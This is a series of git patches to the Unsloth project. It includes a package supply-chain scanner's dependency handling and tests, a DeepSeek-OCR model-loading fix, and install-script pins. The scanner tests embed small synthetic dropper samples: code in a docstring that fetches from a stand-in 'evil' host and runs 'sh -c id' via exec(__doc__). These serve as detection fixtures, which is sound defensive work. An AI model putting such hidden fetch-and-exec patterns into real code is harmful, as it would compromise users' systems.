-    for dep in sdist_dep_followups:
+    worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups]
+    while worklist:
+        dep, depth = worklist.pop()
         dep_name = _extract_pkg_name(dep)
         key = _norm_pkg(dep_name)
         if key in seen:
             continue
         seen.add(key)
+        dep_ver = _spec_pin_version(dep)
         cmd = [
             sys.executable,
             "-m",
@@ -1822,14 +1929,44 @@ def _resolve_per_spec_with_deps(
             continue
         if proc.returncode == 0:
             continue
-        dep_ver = _spec_pin_version(dep)
         meta = _pypi_json(dep_name)
-        if meta is not None and not _release_has_wheel(meta, dep_ver):
+        if meta is None:
+            print(f"  [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
+            continue
+        if not _release_has_wheel(meta, dep_ver):
             fpath, serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
             if fpath is None:
                 print(f"  [WARN] could not fetch sdist dep {dep}: {serr}", file = sys.stderr)
-        else:
+            elif depth < _MAX_DEP_FOLLOWUP_DEPTH:
+                worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
+            continue
+        # Wheel published but its tree won't co-resolve (a sdist-only child).
+        # Fetch the dep alone so it is scanned, then chase its own declared deps.
+        nd_cmd = [
+            sys.executable,
+            "-m",
+            "pip",
+            "download",
+            "--no-deps",
+            *_PIP_DOWNLOAD_PIN_FLAGS,
+            "--dest",
+            dest,
+            dep,
+        ]
+        try:
+            nd = subprocess.run(nd_cmd, capture_output = True, text = True, timeout = 180, env = env)
+        except subprocess.TimeoutExpired:
+            print(f"  [WARN] dep --no-deps timed out for {dep}", file = sys.stderr)
+            continue
+        if nd.returncode == 0:
+            if depth < _MAX_DEP_FOLLOWUP_DEPTH:
+                worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
+            continue
+        fpath, _serr = _download_sdist_direct(dep_name, dep_ver, dest, meta = meta)
+        if fpath is None:
             print(f"  [WARN] could not resolve indirect dep {dep}; skipping", file = sys.stderr)
+        elif depth < _MAX_DEP_FOLLOWUP_DEPTH:
+            worklist.extend((d, depth + 1) for d in _requires_dist_for(dep_name, dep_ver, meta))
 
 
 def download_packages(
diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py
index 45d1d42877..ec9af37785 100644
--- a/tests/security/test_scan_npm_packages.py
+++ b/tests/security/test_scan_npm_packages.py
@@ -340,22 +340,32 @@ def test_norm_pkg_name_strips_version_keeps_scope():
 
 
 def test_baseline_key_is_version_stable():
-    # Same package/file/pattern across a version bump -> identical key.
-    a = _finding("left-pad@1.0.0", "node_modules/left-pad/index.js", "obfuscated-blob")
-    b = _finding("left-pad@9.9.9", "left-pad/index.js", "obfuscated-blob")
+    # Same in-package path across a version bump -> identical key. npm tarballs
+    # root every file at ``package/``, so the path is stable; only the version in
+    # the display name changes.
+    a = _finding("left-pad@1.0.0", "package/index.js", "obfuscated-blob")
+    b = _finding("left-pad@9.9.9", "package/index.js", "obfuscated-blob")
     assert snp._finding_key(a) == snp._finding_key(b)
 
 
+def test_baseline_key_distinguishes_same_basename_diff_dir():
+    # Package-relative keying: the same basename in a different directory is a
+    # DIFFERENT key, so a new dist/ vs src/ file is not silently suppressed.
+    a = _finding("pkg@1.0.0", "package/dist/index.js", "obfuscated-blob")
+    b = _finding("pkg@1.0.0", "package/src/index.js", "obfuscated-blob")
+    assert snp._finding_key(a) != snp._finding_key(b)
+
+
 def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
     bl = tmp_path / "bl.json"
     bl.write_text(
         json.dumps(
             {
-                "version": 1,
+                "version": snp._BASELINE_SCHEMA_VERSION,
                 "entries": [
                     {
                         "package": "aws-sdk",
-                        "file": "metadata.js",
+                        "file": "package/metadata.js",
                         "pattern": "cred-surface-host (outbound)",
                         "severity": "HIGH",
                     }
@@ -366,9 +376,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
     )
     baseline = snp._load_baseline(str(bl))
 
-    listed = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "cred-surface-host (outbound)")
-    # A new pattern in the same file must NOT be suppressed.
-    new_kind = _finding("aws-sdk@2.0.0", "aws-sdk/metadata.js", "obfuscated-blob")
+    listed = _finding("aws-sdk@2.0.0", "package/metadata.js", "cred-surface-host (outbound)")
+    # A NEW kind of finding in the SAME file is a different pattern -> not suppressed.
+    new_kind = _finding("aws-sdk@2.0.0", "package/metadata.js", "obfuscated-blob")
     active, suppressed = snp._partition_baseline([listed, new_kind], baseline)
     assert listed in suppressed
     assert new_kind in active
@@ -377,9 +387,9 @@ def test_baseline_suppresses_listed_but_not_new_pattern(tmp_path):
 def test_write_then_load_baseline_roundtrip(tmp_path):
     bl = tmp_path / "out.json"
     findings = [
-        _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),
-        _finding("evil@1.0.0", "evil/a.js", "obfuscated-blob", snp.CRITICAL),  # dup
-        _finding("noise@1.0.0", "noise/b.js", "js-env-token", snp.MEDIUM),  # below thresh
+        _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),
+        _finding("evil@1.0.0", "package/a.js", "obfuscated-blob", snp.CRITICAL),  # dup
+        _finding("noise@1.0.0", "package/b.js", "js-env-token", snp.MEDIUM),  # below thresh
     ]
     n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH])
     assert n == 1  # dedup + MEDIUM excluded
@@ -389,6 +399,25 @@ def test_write_then_load_baseline_roundtrip(tmp_path):
     assert all(k[2] != "js-env-token" for k in keys)
 
 
+def test_legacy_schema_baseline_is_ignored(tmp_path):
+    # A pre-v2 baseline stored basenames; its keys are ambiguous under
+    # package-relative matching, so a populated legacy file is ignored (fail
+    # closed) rather than silently suppressing a different same-named file.
+    bl = tmp_path / "legacy.json"
+    bl.write_text(
+        json.dumps(
+            {
+                "version": 1,
+                "entries": [
+                    {"package": "aws-sdk", "file": "index.js", "pattern": "obfuscated-blob"}
+                ],
+            }
+        ),
+        encoding = "utf-8",
+    )
+    assert snp._load_baseline(str(bl)) == set()
+
+
 def test_committed_baseline_is_empty_and_valid():
     # Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.
     path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"
diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.py
index 19205a2842..91331668d6 100644
--- a/tests/security/test_scan_packages.py
+++ b/tests/security/test_scan_packages.py
@@ -356,6 +356,65 @@ def test_exec_with_payload_hidden_in_docstring_flagged():
     assert not any("hidden in a docstring" in f.check for f in findings2)
 
 
+def test_hidden_network_plus_exec_payload_flagged():
+    # exec(__doc__) dropper: the docstring (blanked by code-only scanning) holds
+    # BOTH a network fetch and an os/shell exec. Neither is a blob, but together
+    # they are the payload, so the gate must flag the pair.
+    payload = (
+        "import urllib.request, os\n"
+        "urllib.request.urlopen('http://x/y').read()\n"
+        "os.system('sh -c id')\n"
+    )
+    src = '"""' + payload + '"""\nexec(__doc__)\n'
+    findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
+    assert any("hidden network+exec payload" in f.check for f in findings)
+
+
+def test_real_code_network_and_subprocess_not_hidden_combo():
+    # Both calls live in REAL code (covered by the normal checks); the hidden
+    # network+exec combo must NOT also fire on them.
+    src = (
+        "import subprocess, urllib.request\n"
+        "def run():\n"
+        "    urllib.request.urlopen('http://x').read()\n"
+        "    subprocess.Popen(['sh'])\n"
+        "exec('1 + 1')\n"
+    )
+    findings = sp.check_py_file(src, "pkg/real.py", "pkg")
+    assert not any("hidden network+exec payload" in f.check for f in findings)
+
+
+def test_hidden_payload_survives_visible_decoy():
+    # A benign visible network call must not mask a docstring payload: the
+    # detector inspects the removed (blanked) span, not the whole stripped file.
+    payload = (
+        "import urllib.request, os\n"
+        "urllib.request.urlopen('http://evil/x').read()\n"
+        "os.system('sh -c id')\n"
+    )
+    src = (
+        '"""' + payload + '"""\n'
+        "import urllib.request\n"
+        "urllib.request.urlopen('http://benign/ok')\n"  # visible decoy
+        "exec(__doc__)\n"
+    )
+    findings = sp.check_py_file(src, "pkg/dropper.py", "pkg")
+    assert any("hidden network+exec payload" in f.check for f in findings)
+
+
+def test_comment_only_network_exec_not_flagged():
+    # Tokens only in comments are not executable by exec(); the hidden network+exec
+    # check inspects strings/docstrings (not comments), so this must stay clean.
+    src = (
+        "code = 'x = 1'\n"
+        "exec(code)\n"
+        "# urllib.request.urlopen('http://host/p').read()\n"
+        "# subprocess.run(['sh', '-c', 'id'])\n"
+    )
+    findings = sp.check_py_file(src, "pkg/ex.py", "pkg")
+    assert not any("hidden network+exec payload" in f.check for f in findings)
+
+
 def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
     bl = tmp_path / "bl.json"
     listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
@@ -467,16 +526,87 @@ def test_requires_dist_skips_extras():
             "numpy (>=1.20)",
             "torch ; extra == 'dev'",  # optional extra -> skipped
             "pyyaml>=5 ; python_version >= '3.8'",  # non-extra marker -> kept
+            "payload>=1 ; extra != 'dev'",  # default-true marker -> kept
         ],
     )
-    specs = sp._requires_dist_names(meta, None)
-    # Version constraints preserved so a pinned dep is fetched, not latest.
+    specs = sp._requires_dist_names(meta)
+    # Version constraints are preserved so a pinned dep is fetched, not latest.
     assert "numpy>=1.20" in specs
     assert "pyyaml>=5" in specs
-    # The extra-gated dep is skipped entirely.
+    # A default-true marker that merely mentions ``extra`` is NOT optional.
+    assert "payload>=1" in specs
+    # The extra-gated dep is skipped entirely (no torch under any form).
     assert not any(sp._extract_pkg_name(s) == "torch" for s in specs)
 
 
+def test_marker_holds_by_default():
+    # Optional only when the extra is the sole gate.
+    assert sp._marker_holds_by_default("extra == 'dev'") is False
+    assert sp._marker_holds_by_default('extra == "dev"') is False
+    # Default-true markers that mention extra must be kept.
+    assert sp._marker_holds_by_default("extra != 'dev'") is True
+    assert sp._marker_holds_by_default("python_version >= '3.8' or extra == 'dev'") is True
+    # No marker / plain env marker -> kept.
+    assert sp._marker_holds_by_default("") is True
+    # Platform/python markers are kept: the scanner runs on one target but the
+    # package may install on another, so these deps must still be scanned.
+    assert sp._marker_holds_by_default("sys_platform == 'win32'") is True
+    assert sp._marker_holds_by_default("python_version == '3.13'") is True
+    assert sp._marker_holds_by_default("sys_platform == 'win32' and extra == 'gpu'") is True
+
+
+def test_requires_dist_for_fails_closed_on_missing_pin_metadata(monkeypatch):
+    # The pinned release's own metadata cannot be fetched -> recover nothing
+    # rather than substituting the latest release's (wrong) dependency tree.
+    project = _meta([], requires = ["latestdep==9.9.9"])
+    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
+    assert sp._requires_dist_for("oldpkg", "1.0.0", project) == []
+
+
+def test_requires_dist_for_uses_pinned_release(monkeypatch):
+    # Project-level (latest) metadata declares no malicious dep; the pinned
+    # release does. _requires_dist_for must follow the pinned release's tree.
+    project = _meta([], requires = ["harmless>=1"])
+    pinned = _meta([], requires = ["payload==1.0.0"])
+    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: pinned if version else project)
+    specs = sp._requires_dist_for("oldpkg", "1.0.0", project)
+    assert "payload==1.0.0" in specs
+    assert "harmless>=1" not in specs
+
+
+def test_requires_dist_for_records_incomplete_scan_error(monkeypatch):
+    # Missing pinned metadata must surface an incomplete-scan error, not a silent
+    # [] that a caller cannot tell apart from a genuine no-deps release.
+    project = _meta([], requires = ["latestdep==9.9.9"])
+    monkeypatch.setattr(sp, "_pypi_json", lambda name, version = None: None if version else project)
+    errors: list[str] = []
+    assert sp._requires_dist_for("oldpkg", "1.0.0", project, errors) == []
+    assert errors and "incomplete" in errors[0]
+
+
+def test_release_files_pinned_missing_fails_closed():
+    # A pin absent from metadata must NOT fall back to the latest artifact.
+    meta = _meta(
+        [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
+        version = "2.0.0",
+    )
+    assert sp._release_files(meta, "9.9.9") == []  # missing pin -> empty, not latest
+    assert sp._release_has_wheel(meta, "9.9.9") is False
+    assert sp._release_files(meta, "2.0.0")  # present pin still resolves
+    assert sp._release_files(meta, None)  # unpinned still uses latest
+
+
+def test_download_sdist_direct_missing_pin_does_not_scan_latest(tmp_path):
+    # Pinned version absent -> no sdist returned (never the latest file).
+    meta = _meta(
+        [_f("sdist", "x-2.0.0.tar.gz", "https://files.pythonhosted.org/x-2.0.0.tar.gz")],
+        version = "2.0.0",
+    )
+    fpath, err = sp._download_sdist_direct("x", "9.9.9", str(tmp_path), meta = meta)
+    assert fpath is None and "no sdist" in err
+    assert list(tmp_path.iterdir()) == []
+
+
 def test_download_sdist_direct_refuses_non_pypi_url(tmp_path):
     meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://evil.example/x.tar.gz")])
     fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
@@ -494,7 +624,8 @@ def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch
     payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
     monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
     meta = _meta(
-        [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
+        [_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")],
+        version = "1.1.6",
     )
     fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
     assert err is None and fpath is not None
@@ -520,10 +651,12 @@ def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
     monkeypatch.setattr(
         sp,
         "_pypi_json",
-        lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
+        lambda name, version = None: _meta(
+            [_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]
+        ),
     )
     errors: list[str] = []
-    sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
+    sp._resolve_per_spec_with_deps(["somepkg==1.0.0"], str(tmp_path), {}, errors)
     assert errors and "somepkg" in errors[0]
 
 
@@ -537,7 +670,7 @@ def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
     monkeypatch.setattr(
         sp,
         "_pypi_json",
-        lambda name: _meta(
+        lambda name, version = None: _meta(
             [_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
         ),
     )

From 18f8869829c6b5177229e119ab2a0d6669a8f1f6 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 07:03:43 -0700
Subject: [PATCH 76/91] Load DeepSeek-OCR and other VLMs that register
 AutoModel in auto_map (#6421)

* Load repo-code VLMs that register AutoModel in auto_map

FastModel.from_pretrained already falls back from the VLM auto class to
AutoModelForCausalLM for repo-code VL models that register only that class
in their auto_map (e.g. Nemotron-VL). Models like DeepSeek-OCR and
DeepSeek-OCR-2 instead register their architecture under AutoModel, so they
fell through to AutoModelForImageTextToText and raised "Unrecognized
configuration class ... for AutoModelForImageTextToText".

Generalize the guard: when neither vision auto class is registered, fall
back to whichever generic auto class the repo actually registered
(AutoModelForCausalLM, else AutoModel).

* Do not hard-error on a newly initialized position_ids buffer

RaiseUninitialized turns transformers' "some weights of ... were not
initialized" warning into a hard error. position_ids is a deterministic
arange buffer that transformers itself lists in
_keys_to_ignore_on_load_missing, so re-initializing it is correct rather
than a sign of a corrupt checkpoint. Some VLMs (e.g. DeepSeek-OCR) ship it
non-persistently, which tripped the guard. Allowlist position_ids alongside
the existing classifier/predictions head weights.

* Only ignore missing-weight records that are exclusively position_ids

The previous substring check skipped the whole "Some weights of ..." record
whenever position_ids appeared anywhere in it. Transformers reports every
missing key in one record, so a corrupt or incompatible checkpoint missing a
real parameter could load with randomly initialized weights as long as one
missing key contained position_ids. Parse the "newly initialized: [...]" list
and suppress only when every listed key is a position_ids buffer; otherwise
raise as before.

* Match the concrete VLM auto class name when checking auto_map

Transformers resolves remote code by the exact auto class name being called,
and AutoModelForVision2Seq aliases to AutoModelForImageTextToText on
transformers >= 5. Checking for both spellings treated a config that only
registers the legacy AutoModelForVision2Seq key as having a supported VLM
class, skipping the AutoModelForCausalLM fallback that used to load it and
failing as an unrecognized config under AutoModelForImageTextToText. Match
only the concrete class name we would actually pass, keeping the AutoModel
and AutoModelForCausalLM fallbacks.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Preserve VLM mode on the vLLM path when falling back to AutoModel

A repo-code VLM that registers only AutoModel or AutoModelForCausalLM (DeepSeek-OCR, Nemotron-VL) routes to that generic class, so is_vlm, derived from the resolved auto class, is False. That is correct for processor selection (these repos ship no AutoProcessor) but wrong for the vLLM path, where is_vision_model=is_vlm made vLLM treat a vision_config model as text-only and skip the VLM guard and conversion.

Add is_vlm_config, derived from the config vision_config (and gated on not text_only so a text-only resolve still wins), and use it for the fast_inference VLM guard and the is_vision_model flags passed to load_vllm, get_vllm_state_dict and convert_vllm_to_huggingface. Processor selection still uses is_vlm, so DeepSeek-OCR keeps loading via its tokenizer. DeepSeek-OCR with fast_inference now raises the clear 'Fast inference is only supported for ...' error instead of being mishandled as text-only.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 tests/test_uninitialized_position_ids.py | 76 ++++++++++++++++++++++++
 unsloth/models/_utils.py                 | 28 ++++++++-
 unsloth/models/loader.py                 | 17 +++++-
 unsloth/models/vision.py                 | 15 +++--
 4 files changed, 128 insertions(+), 8 deletions(-)
 create mode 100644 tests/test_uninitialized_position_ids.py

diff --git a/tests/test_uninitialized_position_ids.py b/tests/test_uninitialized_position_ids.py
new file mode 100644
index 0000000000..76ff71d06c
--- /dev/null
+++ b/tests/test_uninitialized_position_ids.py
@@ -0,0 +1,76 @@
+"""RaiseUninitialized must ignore a checkpoint that only re-initializes deterministic
+position_ids buffers, but still raise when a real weight is missing -- even if the same
+HF record also lists a benign position_ids buffer.
+"""
+
+from __future__ import annotations
+
+import logging
+
+import pytest
+
+from unsloth.models._utils import (
+    _all_missing_keys_are_position_ids,
+    _RaiseUninitialized,
+)
+
+_TEMPLATE = (
+    "Some weights of DeepseekOCRForCausalLM were not initialized from the model "
+    "checkpoint at unsloth/DeepSeek-OCR and are newly initialized: {keys}\n"
+    "You should probably TRAIN this model on a down-stream task."
+)
+
+
+def _record(keys_repr: str) -> logging.LogRecord:
+    return logging.LogRecord(
+        name = "transformers.modeling_utils",
+        level = logging.WARNING,
+        pathname = "modeling_utils.py",
+        lineno = 1,
+        msg = _TEMPLATE.format(keys = keys_repr),
+        args = None,
+        exc_info = None,
+    )
+
+
+@pytest.mark.parametrize(
+    "keys_repr, expected",
+    [
+        ("['model.vision_model.embeddings.position_ids']", True),
+        (
+            "['model.vision_model.embeddings.position_ids', "
+            "'vision_model.encoder.layers.0.position_ids']",
+            True,
+        ),
+        # A real missing weight alongside position_ids must NOT be suppressed.
+        (
+            "['model.vision_model.embeddings.position_ids', 'model.layers.5.mlp.weight']",
+            False,
+        ),
+        ("['model.layers.5.mlp.weight']", False),
+        ("[]", False),
+    ],
+)
+def test_all_missing_keys_are_position_ids(keys_repr, expected):
+    assert _all_missing_keys_are_position_ids(_TEMPLATE.format(keys = keys_repr)) is expected
+
+
+def test_emit_suppresses_position_ids_only_record():
+    # A record listing only position_ids buffers loads cleanly (no raise).
+    handler = _RaiseUninitialized()
+    handler.emit(_record("['model.vision_model.embeddings.position_ids']"))
+
+
+def test_emit_raises_when_real_weight_missing_alongside_position_ids():
+    # The core fix: one benign position_ids key must not mask a real missing weight.
+    handler = _RaiseUninitialized()
+    with pytest.raises(Exception, match = "some weights are not initialized"):
+        handler.emit(
+            _record("['model.vision_model.embeddings.position_ids', 'model.layers.5.mlp.weight']")
+        )
+
+
+def test_emit_raises_on_real_missing_weight():
+    handler = _RaiseUninitialized()
+    with pytest.raises(Exception, match = "some weights are not initialized"):
+        handler.emit(_record("['model.layers.5.mlp.weight']"))
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index 4b2d0acec9..a15320668c 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -1015,18 +1015,44 @@ except:
 from transformers.modeling_utils import logger as transformers_logger
 
 
+def _all_missing_keys_are_position_ids(record_str):
+    """True only when EVERY key in the 'newly initialized: [...]' list is a position_ids
+    buffer.
+
+    transformers reports all missing keys in a single record, so a substring test would
+    wrongly suppress the warning when a real missing weight is listed alongside a benign
+    position_ids buffer. position_ids is a deterministic arange buffer that transformers
+    itself lists in _keys_to_ignore_on_load_missing (some VLMs, e.g. DeepSeek-OCR, ship it
+    non-persistently), so a record listing ONLY position_ids keys is safe to ignore;
+    anything else must still raise.
+    """
+    import ast
+    import re
+
+    match = re.search(r"newly initialized:\s*(\[[^\]]*\])", record_str)
+    if not match:
+        return False
+    try:
+        keys = ast.literal_eval(match.group(1))
+    except Exception:
+        return False
+    return bool(keys) and all("position_ids" in str(key) for key in keys)
+
+
 class _RaiseUninitialized(logging.Handler):
     def __init__(self):
         super().__init__()
 
     def emit(self, record):
-        record_lower = str(record).lower()
+        record_str = str(record)
+        record_lower = record_str.lower()
         if (
             ("some weights of" in record_lower)
             and ("score.weight" not in record_lower)
             and ("classifier.weight" not in record_lower)
             and ("cls.predictions" not in record_lower)
             and ("predictions.decoder" not in record_lower)
+            and not _all_missing_keys_are_position_ids(record_str)
             and (os.environ.get("UNSLOTH_WARN_UNINITIALIZED", "1") == "1")
         ):
             raise Exception(
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index cfcfcae505..459b6ed32d 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -1576,12 +1576,23 @@ class FastModel(FastBaseModel):
                 auto_model = AutoModelForSequenceClassification
             elif is_vlm:
                 # Check if the model's auto_map supports the VLM auto class.
-                # Some VL models (e.g. Nemotron-VL) only register AutoModelForCausalLM
-                # in their auto_map, not AutoModelForImageTextToText/AutoModelForVision2Seq.
+                # Some repo-code VL models register only a generic auto class and not
+                # AutoModelForImageTextToText/AutoModelForVision2Seq: Nemotron-VL uses
+                # AutoModelForCausalLM, DeepSeek-OCR uses AutoModel. Calling the VLM auto
+                # class on those raises "Unrecognized configuration class ... for
+                # AutoModelForImageTextToText", so fall back to whatever generic class the
+                # repo actually registered. Match the CONCRETE class name we would pass
+                # (AutoModelForVision2Seq aliases to AutoModelForImageTextToText on tf>=5),
+                # since transformers resolves remote code by that exact name -- a config
+                # that only registers the legacy key must still take the generic fallback.
                 _auto_map = getattr(model_config, "auto_map", {}) or {}
                 _vlm_class_name = AutoModelForVision2Seq.__name__
-                if "AutoModelForCausalLM" in _auto_map and _vlm_class_name not in _auto_map:
+                _has_vlm_class = _vlm_class_name in _auto_map
+                if not _has_vlm_class and "AutoModelForCausalLM" in _auto_map:
                     auto_model = AutoModelForCausalLM
+                elif not _has_vlm_class and "AutoModel" in _auto_map:
+                    from transformers import AutoModel
+                    auto_model = AutoModel
                 else:
                     auto_model = AutoModelForVision2Seq
             else:
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 66f9cf3d1b..3f8d9e6ce0 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -635,6 +635,13 @@ class FastBaseModel:
             # Pure text model requested text-only with a VLM auto class.
             auto_model = AutoModelForCausalLM
         is_vlm = auto_model in [AutoModelForVision2Seq, AutoModelForImageTextToText]
+        # A repo-code VLM may register only AutoModel / AutoModelForCausalLM (e.g.
+        # DeepSeek-OCR, Nemotron-VL), so auto_model is not a VLM class even though the
+        # config is a vision model. Keep is_vlm (auto-class derived) for processor
+        # selection below -- these repos ship no AutoProcessor -- but treat the model as a
+        # VLM on the vLLM path so a vision_config model is never silently loaded/converted
+        # as text-only. text_only resolves the tower away first, so honour that here.
+        is_vlm_config = is_vlm or (not text_only and hasattr(auto_config, "vision_config"))
         is_whisper = whisper_language is not None and whisper_task is not None
         auto_processor = AutoProcessor if (is_vlm or is_whisper) else AutoTokenizer
 
@@ -646,7 +653,7 @@ class FastBaseModel:
 
         vllm_enable_lora = True
 
-        if is_vlm and fast_inference:
+        if is_vlm_config and fast_inference:
             if not any(arch in VLLM_SUPPORTED_VLM for arch in model_types):
                 raise RuntimeError(
                     f"Unsloth: Fast inference is only supported for Language models and Qwen2.5-VL, Gemma3 among vision models. "
@@ -1060,7 +1067,7 @@ class FastBaseModel:
                 disable_log_stats = disable_log_stats,
                 use_bitsandbytes = load_in_4bit,
                 unsloth_vllm_standby = unsloth_vllm_standby,
-                is_vision_model = is_vlm,
+                is_vision_model = is_vlm_config,
                 fp8_mode = fp8_mode,
             )
             for allowed_arg in allowed_args:
@@ -1074,7 +1081,7 @@ class FastBaseModel:
             _, quant_state_dict = get_vllm_state_dict(
                 llm,
                 config = model_config,
-                is_vision_model = is_vlm,
+                is_vision_model = is_vlm_config,
                 load_in_fp8 = load_in_fp8,
             )
             model = convert_vllm_to_huggingface(
@@ -1082,7 +1089,7 @@ class FastBaseModel:
                 model_config,
                 dtype,
                 bnb_config,
-                is_vision_model = is_vlm,
+                is_vision_model = is_vlm_config,
             )
             model.vllm_engine = llm
             llm.shared_weights = True

From 42965df2e841849bddd961bf669ad5c83d3b3b2e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 08:00:20 -0700
Subject: [PATCH 77/91] Pin unsloth-zoo>=2026.6.5 in install scripts (#6440)

The base-install lines passed a bare unsloth-zoo spec and relied on the
co-installed unsloth>=2026.6.7 (whose pyproject pins unsloth_zoo>=2026.6.5)
to floor unsloth-zoo transitively. Make the floor explicit so the install
scripts stay in sync with pyproject and the bare spec can never resolve below
the version that ships unsloth_zoo.diffusion_studio (the DiffusionGemma Studio
runner), first released in unsloth-zoo 2026.6.4. Leaves the reinstall/upgrade
flags and the git-main overlay untouched.
---
 install.ps1 | 10 +++++-----
 install.sh  | 10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/install.ps1 b/install.ps1
index c6e7e599cb..cbb736b371 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2022,7 +2022,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2036,7 +2036,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2083,7 +2083,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2095,7 +2095,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.7" "unsloth-zoo>=2026.6.5" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2123,7 +2123,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
